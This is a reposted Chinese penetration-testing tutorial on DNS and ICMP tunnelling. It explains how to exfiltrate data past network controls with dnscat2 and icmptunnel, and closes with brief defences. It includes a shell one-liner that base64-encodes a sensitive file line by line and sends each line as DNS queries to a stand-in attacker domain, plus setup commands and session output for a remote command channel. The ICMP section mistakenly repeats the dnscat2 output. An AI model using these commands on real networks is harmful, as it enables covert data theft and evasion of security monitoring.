DNS隧道和ICMP隧道

来源:互联网 发布:音频分类算法 编辑:程序博客网 时间:2024/04/29 08:27

http://netsecurity.51cto.com/art/201701/528247.htm

隧道技术

作为攻击方,我们假设自己没有有效的域凭据。这意味着我们不能使用公司的代理向外传输数据。同时,如果我们没有连接到互联网,也无法泄露敏感信息。因此,在这种情况下,隧道技术就能发挥非常重要的作用。

隧道技术不是通过网络直接发送数据包,而是通过封装技术在另一个(通常是加密的)连接中发送数据。由于实际数据通过不同的协议进行网络传输的,因此就有机会到达互联网。

根据使用的协议类型,隧道名称可能会有所不同,在本文中,我们将介绍最常见的一些类型。

DNS隧道

在介绍DNS隧道之前,我们首先介绍一些非常简单,但很重要的知识。

  1. ➜  ~ cat /etc/resolv.conf|grep -v '#' 
  2.     domain acme.local 
  3.     nameserver 192.168.1.1 
  4.     nameserver 192.168.1.2 

首先,我们必须识别出内部的DNS服务器。这很容易,下面将进行一些测试。我们需要回答以下问题。

  • 我们能否与内部DNS通信?
  • 我们能否通过公司DNS解析内部域?
  • 我们可以通过内部DNS解析外部域(例如:pentest.club)吗?
  • 我们可以直接与外部DNS通信吗?
  1. ➜  ~ nslookup acmebank.local 
  2.     Server:    192.168.1.1 
  3.     Address:  192.168.1.1#53 
  4.     Name:  acmebank.local 
  5.     Address: 192.168.10.12 
  6.     ➜  ~ nslookup google.com 
  7.     Server:    192.168.1.1 
  8.     Address:  192.168.1.1#53 
  9.     Non-authoritative answer: 
  10.     Name:  google.com 
  11.     Address: 216.58.209.14 
  12.     ➜ ~ nslookup pentest.blog 8.8.8.8 
  13.     Server: 8.8.8.8 
  14.     Address: 8.8.8.8#53 
  15.     Non-authoritative answer: 
  16.     Name: pentest.blog 
  17.     Address: 104.27.169.40 
  18.     Name: pentest.blog 
  19.     Address: 104.27.168.40 

第一个命令的结果表明,我们可以解析内部域;第二个命令的结果表明,我们可以通过公司DNS服务器解析外部域。这意味着我们可以实现DNS隧道,但我想提醒大家注意第3个命令。大多数安全的网络是不允许与外部DNS进行通信的。如果网络允许这样做的话,这就是另外一个安全问题了,作为渗透测试人员,你必须单独指出这个问题!

DNS隧道是如何工作的?

本文不仅提供了非常详细的示意图,同时,我们还会针对每个步骤进行详细的解说。

DNS隧道工作示意图

1. 假设渗透测试人员掌控了一个域,例如hacker.com,对它具有完全的控制权。渗透测试人员向内部DNS服务器发送DNS请求,以解析hacker.com

2. hacker.com的权威DNS服务器位于互联网的其他地方。因此,它通过防火墙将相应的请求重定向到根服务器。

3. 经过多次重定向,DNS请求终于到达渗透测试人员掌控的域名hacker.com的权威DNS服务器。

4. 由于这个请求是由渗透测试人员生成的,因此响应是什么并不重要。

5. 该响应到达内部DNS服务器

6. 最后,渗透测试人员将会收到该响应。

这个过程,实际上可以用来跟公司网络外部的服务器进行通信。到目前为止,我们只是找到了一种与外部服务器通信方式。但是,下面开始介绍如何进行数据渗透。同时,我们假设获得了如下所示的一些敏感数据。

  1. ➜  ~ cat sensitive.txt  
  2.   Alice 
  3.   Bob 
  4.   John 

同时,我们想通过网络把这些机密泄露出去,尽管这些网络的设置是相对安全的。

  1. for i in $(cat sensitive.txt); do d=$(echo $i|base64) && nslookup $d.hacker.com; done 

上面的shell命令将逐行读取包含敏感信息的文件。然后,对每行内容进行base64编码。然后,在DNS查询期间将其用作子域。这样,一旦查询到达hacker.com的权威DNS服务器,我们就可以捕获相应的DNS日志,通过解析日志可以获得子域,从而得到相应的敏感数据。这种技术非常有用,但它有以下限制。

这是一种单向通信。我们不能从C2(权威DNS)发回命令

虽然读取文件非常容易,但是如果需要处理100MB数据时,将会发生什么情况? DNS数据包可能会以不同的顺序到达。

因此,我们需要一个解决所有问题的工具。幸运的是,我们借助于dnscat2。

如何配置和使用Dnscat2?

Dnscat2提供了客户端和服务器应用程序。下面是构建一个DNS2服务器所需的命令。

  1. ~ git clone https://github.com/iagox86/dnscat2.git 
  2.     ~ cd dnscat2/server/ 
  3.     ~ gem install bundler 
  4.     ~ bundle install 

下面是在公司网络上面安装客户端程序所需的具体命令。

  1. root@pentest:~# git clone https://github.com/iagox86/dnscat2.git 
  2.    root@pentest:~# cd dnscat2/client/ 
  3.    root@pentest:dnscat2/client/# make 

一切准备就绪之后,现在我们就可以启动Dnscat2服务器了,具体命令如下所示。

  1. root@khaleesi:/opt/dnscat2/server# ruby dnscat2.rb opendns.online 
  2.     New window created: 0 
  3.     dnscat2> New window created: crypto-debug 
  4.     Welcome to dnscat2! Some documentation may be out of date. 
  5.     auto_attach => false 
  6.     history_size (for new windows) => 1000 
  7.     Security policy changed: All connections must be encrypted 
  8.     New window created: dns1 
  9.     Starting Dnscat2 DNS server on 0.0.0.0:53 
  10.     [domains = opendns.online]... 
  11.     Assuming you have an authoritative DNS server, you can run 
  12.     the client anywhere with the following (--secret is optional): 
  13.       ./dnscat --secret=7040f6248e601519a9ebfb761e2402e3 opendns.online 
  14.     To talk directly to the server without a domain name, run: 
  15.       ./dnscat --dns server=x.x.x.x,port=53 --secret=7040f6248e601519a9ebfb761e2402e3 
  16.     Of course, you have to figure out <server> yourself! Clients 
  17.     will connect directly on UDP port 53. 

opendns.online是处于渗透测试人员控制之下的一个域名。此外,重要的一点是让权威DNS服务器为opendns.online生成一个密钥。这个密钥将以“共享秘密”的方式,用于对隧道期间的通信进行加密。除此之外,dnscat还提供了两种不同的客户端命令。即使你能够向外部服务器发送DNS查询,也不要忘记大多数安全网络是不允许任何人使用外部DNS服务的。

然后,在客户端上执行如下所示的命令。

  1. oot@pentest:/opt/dnscat2/client# ./dnscat --secret=7040f6248e601519a9ebfb761e2402e3 opendns.online 
  2.     Creating DNS driver: 
  3.      domain = opendns.online 
  4.      host   = 0.0.0.0 
  5.      port   = 53 
  6.      type   = TXT,CNAME,MX 
  7.      server = 12.0.0.2 
  8.     ** Peer verified with pre-shared secret! 
  9.     Session established! 

会话一旦建立,就会在服务器上看到一个“new window created”的消息。

  1. dnscat2> New window created: 1 
  2.     Session 1 Security: ENCRYPTED AND VERIFIED! 
  3.     (the security depends on the strength of your pre-shared secret!) 

让我们看看在通信期间捕获的DNS数据包。下面的截屏表明,客户端向内部DNS服务器发送了相应的CNAME解析请求。

客户端向内部DNS服务器发送了相应的CNAME解析请求

可以看到,DNSCAT2客户端向服务器发送几个TXT解析请求,然后通过CNAME启动了加密通信。即刻起,渗透测试人员就可以通过那条隧道为所欲为了。

  1. dnscat2> session -i 1 
  2.     New window created: 1 
  3.     history_size (session) => 1000 
  4.     Session 1 Security: ENCRYPTED AND VERIFIED! 
  5.     (the security depends on the strength of your pre-shared secret!) 
  6.     This is a command session! 
  7.     That means you can enter a dnscat2 command such as 
  8.     'ping'! For a full list of clients, try 'help'. 
  9.     command (pentest) 1> help 
  10.     Here is a list of commands (use -h on any of them for additional help): 
  11.     * clear 
  12.     * delay 
  13.     * download 
  14.     * echo 
  15.     * exec 
  16.     * help 
  17.     * listen 
  18.     * ping 
  19.     * quit 
  20.     * set 
  21.     * shell 
  22.     * shutdown 
  23.     * suspend 
  24.     * tunnels 
  25.     * unset 
  26.     * upload 

ICMP隧道

ICMP隧道通过将任意数据注入发送到远程计算机的回送数据包来工作的。远程计算机以相同的方式进行响应,将应答注入另一个ICMP数据包并将其发送回来。关于这种隧道技术的详细介绍,请阅读参考文献[2]。

简单来说,我们是在ICMP内部发送实际数据的。要想使用ICMP隧道,我们只需要关注一件事情:我可以ping一个外部服务器吗?

  1. dnscat2> session -i 1 
  2.     New window created: 1 
  3.     history_size (session) => 1000 
  4.     Session 1 Security: ENCRYPTED AND VERIFIED! 
  5.     (the security depends on the strength of your pre-shared secret!) 
  6.     This is a command session! 
  7.     That means you can enter a dnscat2 command such as 
  8.     'ping'! For a full list of clients, try 'help'. 
  9.     command (pentest) 1> help 
  10.     Here is a list of commands (use -h on any of them for additional help): 
  11.     * clear 
  12.     * delay 
  13.     * download 
  14.     * echo 
  15.     * exec 
  16.     * help 
  17.     * listen 
  18.     * ping 
  19.     * quit 
  20.     * set 
  21.     * shell 
  22.     * shutdown 
  23.     * suspend 
  24.     * tunnels 
  25.     * unset 
  26.     * upload 

如果答案是肯定的,那么我们就能够利用这种睡到结束。否则,我们将无法使用ICMP隧道。此外,Dhaval Kapil也提供了一种ICMP隧道工具,称为icmptunnel。这个工具的安装其实非常简单,具体请阅读参考文献[3]。

1 - 使用如下所示的命令将此工具的存储库克隆到服务器和客户端。

  1. git clone https://github.com/DhavalKapil/icmptunnel 

2 – 运行make

3 – 在服务器端执行如下所示的命令。

  1. ./icmptunnel -s 10.0.1.1 

4 – 在客户端,找到您的网关和相应的接口。

  1. root@pentest:/opt/icmptunnel# route -n 
  2.   Kernel IP routing table 
  3.   Destination     Gateway         Genmask         Flags Metric Ref    Use Iface 
  4.   0.0.0.0         12.0.0.2        0.0.0.0         UG    100    0        0 eth0 
  5.   12.0.0.0        0.0.0.0         255.255.255.0   U     100    0        0 eth0 

5 – 编辑client.sh文件,并将替换为服务器的IP地址。然后,用上面获得的网关地址替换< gateway>。最后,将做同样的处理。

6 – 在客户端上运行隧道。

  1. root@pentest:/opt/icmptunnel# ./icmptunnel -c IPADDRESS 

防御措施

防御这些类型的隧道攻击并非易事,特别是DNS隧道攻击。但以下操作能够帮助您检测最常见的攻击工具,如dnscat2等。

禁止网络中的任何人向外部服务器发送DNS请求。每个人都必须使用您自己的DNS服务器。

没有人会发送TXT解析请求到DNS,但是dnscat2和邮件服务器/网关会这样做。因此将您的邮件服务器/网关列入白名单,并阻止传入和传出流量中的TXT请求。

阻止ICMP。

跟踪用户的DNS查询数量。如果有人达到阈值,则生成相应的报告。

参考文献

[2] – https://en.wikipedia.org/wiki/ICMP_tunnel

[3] – https://dhavalkapil.com/icmptunnel/


0 0
原创粉丝点击